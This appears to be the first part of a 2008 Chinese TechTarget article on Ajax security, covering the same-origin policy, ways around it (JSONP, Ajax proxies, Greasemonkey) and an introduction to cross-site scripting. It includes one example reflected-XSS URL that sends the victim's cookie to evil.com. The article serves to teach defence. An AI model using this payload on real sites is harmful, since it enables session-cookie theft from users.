征服 Ajax 应用程序安全威胁(一)

日期: 2008-01-10 作者:Sachiko Yoshihama 来源:TechTarget中国

  Ajax,即异步 JavaScript 与 XML,是 Web2.0 中的一项关键技术,它允许把用户和 Web 页面间的交互与 Web 浏览器和服务器间的通信分离开来。尤其是 Ajax 可以驱动 Mushup,Mushup 就是将多个内容或服务集成到一个单一的用户体验中。然而,由于其动态和多畴性,Ajax 和 Mushup 技术引入了一些新型威胁。

  Ajax 构建于动态 HTML(DHTML)技术之上,其中包括如下这些最常见的技术:

  JavaScript:JavaScript 是一种脚本语言,在客户端 Web 应用程序中经常使用。
  文档对象模型(Document Object Model,DOM):DOM 是一种用于表示 HTML 或 XML 文档的标准对象模型。如今,大多数浏览器都支持 DOM 并允许 JavaScript 代码动态地读取和修改 HTML 内容。
  层叠样式表(Cascading Style Sheets,CSS):CSS 是一种用于说明 HTML 文档表示的样式表语言。JavaScript 能够在运行的时候对样式表进行修改,这样便可以动态地更新 Web 页面的表示。
  在 Ajax 中,客户端 JavaScript 通过动态地修改 DOM 树和样式表来更新 Web 页面。此外,异步通信(可以通过下面介绍的技术实现)允许动态地更新数据,而无需重新加载整个 Web 页面:
 
  XMLHttpRequest:XMLHttpRequest是一个 API,它允许客户端的 JavaScript 与远程服务器建立 HTTP 连接和交换数据,比如说纯文本、XML 和 JSON(JavaScript Serialized Object Notation)。
  JSON:JSON 由 RFC 4627 提出,是一种轻量的、基于文本的、独立于语言的数据交换格式。它以 ECMAScript 语言的一个子集为基础(这使之成为 JavaScript 语言的一个部分),并且定义了一小套格式规则用以创建结构数据的可移植表示。

  注意,Ajax 应用程序中还有一些其他常用的格式可以替代 JSON,比如说 XML 和无格式的纯文本。

  理解同源策略

  当来自多个始发源的内容以某种方式被集成到一个单一的应用程序中时,一些内容相互之间可能具有不同的信任级别,或者它们可能根本没有必要相互信任。这样自然而然会产生某种需求,即把来自不同始发者的内容分离开来,把它们之间的冲突减至最少。

  同源策略是当前浏览器的保护机制的一部分,该机制将来自不同域(假设域代表的是始发者)的 Web 应用程序分离开来。也就是说,如果多个窗口或框架中的一些应用程序是从不同的服务器下载的,那么它们无法相互访问数据和脚本。注意,同源策略只能应用于 HTML 文档。通过<script src=”…” > 标记导入 HTML 文档的 JavaScript 文件被认为是该 HTML 文档的同源的一部分。该策略在所有主要浏览器实现中都有执行。

  在 XMLHttpRequest 的上下文中,同源策略的目的是控制应用程序与远程服务器的交互。然而,同源策略对 Web 2.0 应用程序的影响力比较有限,这有如下几个原因:

  可以通过许多方法绕过同源策略:稍后我将在文章中演示其中的一些方法。

  Web 2.0 应用程序的一个重要特性就是用户对内容的贡献:也就是说,通常内容并不是由受信任的服务提供的,而更多的是由异步用户通过 blog、wiki 等媒介提供的。因此,即便是单个服务器中的内容实际上也能够来自多个来源。
  浏览器强制同源策略将服务器的域名作为串字面值进行检查:例如,http://www.abc.com/ 和 http://12.34.56.78/ 会被作为不同的域而区别对待,即使 www.abc.com 的 IP 地址实际上就是 12.34.56.78。此外,URL 中的任何路径表达式都将被忽略。例如,http://www.abc.com/~alice 会被识别为 http://www.abc.com/~malroy 的同源,从而忽略了这样一个事实,即这两个目录有可能属于不同的用户。
  大多数 Web 浏览器允许 Web 应用程序将域的定义放宽为应用程序自身的超域:比如说,如果应用程序是从 www.abc.com 处下载的,那么应用程序可以把 document.domain 属性重写为 abc.com 或者就是 com(在 Firefox 中)。大多数最新的浏览器只允许访问已经把它们的 document.domain 属性重写为相同值的窗口或框架中的窗口对象。然而,一些版本比较老的浏览器允许与 document.domain 属性中指定的域建立 XMLHttpRequest 连接。
  即使某个 Web 服务器位于受信任的域中,该服务器可能并不是内容的始发源,尤其是在 Web 2.0 的上下文中:比如说,企业门户服务器、基于 Web 的邮件服务器或者 wiki 可以是受信任的,但是他们所托管的内容可能包含来自具有潜在的恶意的第三方的输入,这个第三方可以是跨站脚本(cross-site scripting,XSS)攻击(该攻击我们将在稍后介绍)的目标。因此,服务器所在的域并不能代表其内容的可信任度。

  避免同源策略:JSON 和 动态脚本标记

  由于 JSON 只是一种含有简单括号结构的纯文本,因此许多通道都可以交换 JSON 消息。因为同源策略的限制,我们不能在与外部服务器进行通信的时候使用 XMLHttpRequest。JSONP(JSON with Padding)是一种可以绕过同源策略的方法,即通过使用 JSON 与<script> 标记相结合的方法,如 清单 1 所示。

  清单 1. JSON 例子

  <script type=”text/javascript”
  src=”http://travel.com/findItinerary?username=sachiko&
  reservationNum=1234&output=json&callback=showItinerary” />

  当 JavaScript 代码动态地插入 <script> 标记时,浏览器会访问 src 属性中的 URL。这样会导致将查询字符串中的信息发送给服务器。在 清单 1 中,所传递的是 username 和 reservation 作为名称值对传递。此外,查询字符串还包含向服务器请求的输出格式和回调函数的名称(即 showItinerary)。<script> 标记加载后,会执行回调函数,并通过回调函数的参数把从服务返回的信息传递给该回调函数。

  避免同源策略:Ajax 代理

  Ajax 代理是一种应用级代理服务器,用于调解 Web 浏览器和服务器之间的 HTTP 请求和响应。Ajax 代理允许 Web 浏览器绕过同源策略,这样便可以使用 XMLHttpRequest 访问第三方服务器。要实现这种绕过,有如下两种方法可供选择:

  客户端 Web 应用程序知道第三方 URL 并将该 URL 作为 HTTP 请求中的一个请求参数传递给 Ajax 代理。然后,代理将请求转发给 www.remoteservice.com。注意,可以把代理服务器的使用隐藏在 Web 应用程序开发人员所使用的 Ajax 库的实现中。对于 Web 应用程序开发人员而言,它看上去可能完全不具有同源策略。

  客户端 Web 应用程序不知道第三方 URL,并且尝试通过 HTTP 访问 Ajax 代理服务器上的资源。通过一个预定义的编码规则,Ajax 代理将 所请求的 URL 转换为第三方服务器的 URL 并代表客户检索内容。这样一来,Web 应用程序开发人员看上去就像是在和代理服务器直接进行通信。

  避免同源策略:Greasemonkey

  Greasemonkey 是一个 Firefox 扩展,它允许用户动态地对 Web 页面的样式和内容进行修改。
  Greasemonkey 用户可以把用户脚本(user script)文件与一个 URL 集合建立关联。当浏览器通过该 URL 集合加载页面时,便会执行这些脚本。Greasemonkey 为用户脚本的 API 提供了额外的许可(与运行在浏览器沙盒中的脚本的许可相比较)。

  GM_XMLHttpRequest 是其中的一个 API,它从本质上说就是一个不具有同源策略的 XMLHttpRequest。用户脚本可以将浏览的内置 XMLHttpRequest 替代为 GM_XMLHttpRequest,从而许可 XMLHttpRequest 执行跨域访问。

  GM_XMLHttpRequest 的使用只能通过用户同意的途径才能受到保护。也就是说,Greasemonkey 只有在建立新用户脚本与特定 URL 的集合之间的关联时才会要求用户配置。然而,不难想象一些用户可能会被欺骗,在没有完全理解其后果时就接受该安装。

  研究攻击场景

  不仅开发人员在避免同源策略时会向恶意用户露出攻击面,当恶意代码被插入 Web 应用程序中时当前的应用程序也易于受到攻击。遗憾的是,恶意代码进入 Web 应用程序的方法多种多样。我们将简要讨论其中两种可能的途径,这对于 Web 2.0 的下上文来说也日渐相关。

  跨站脚本(Cross-site scripting,XSS)

  XSS 是一种很常见的攻击手段,在该攻击中攻击者将一个恶意代码段注入到一个运行良好的站点中。XSS 攻击有如下两种基本的类型:

  Reflected XSS
  Stored XSS
  reflected XSS 攻击利用了 Web 应用程序安全性低的弱点,该应用程序在浏览器中显示输入参数而不对其中是否存在活动内容进行检查。通常,攻击者会诱使受害者单击 URL,如 清单 2 所示。

  清单 2. reflected XSS 攻击的一个示例 URL
                 
  http://trusted.com/search?keyword=<script>
  document.images[0].src=”http://evil.com/steal?cookie=”
  + document.cookie; </script>
 
  假设 trusted.com 提供了一个服务,该服务具有一个搜索特性能把搜索结果和输入的关键字一起提交回来。如果搜索应用程序没有过滤 URL 中的一些特殊字符(如小于号 (<) 和大于号 (>)),则 <script> 标记也将被插入到用户 Web 页面中,这样将会把文档的 cookie 发送给远程服务器 evil.com。

我们一直都在努力坚持原创.......请不要一声不吭,就悄悄拿走。

我原创,你原创,我们的内容世界才会更加精彩!

【所有原创内容版权均属TechTarget,欢迎大家转发分享。但未经授权,严禁任何媒体(平面媒体、网络媒体、自媒体等)以及微信公众号复制、转载、摘编或以其他方式进行使用。】

微信公众号

TechTarget微信公众号二维码

TechTarget

官方微博

TechTarget中国官方微博二维码

TechTarget中国

相关推荐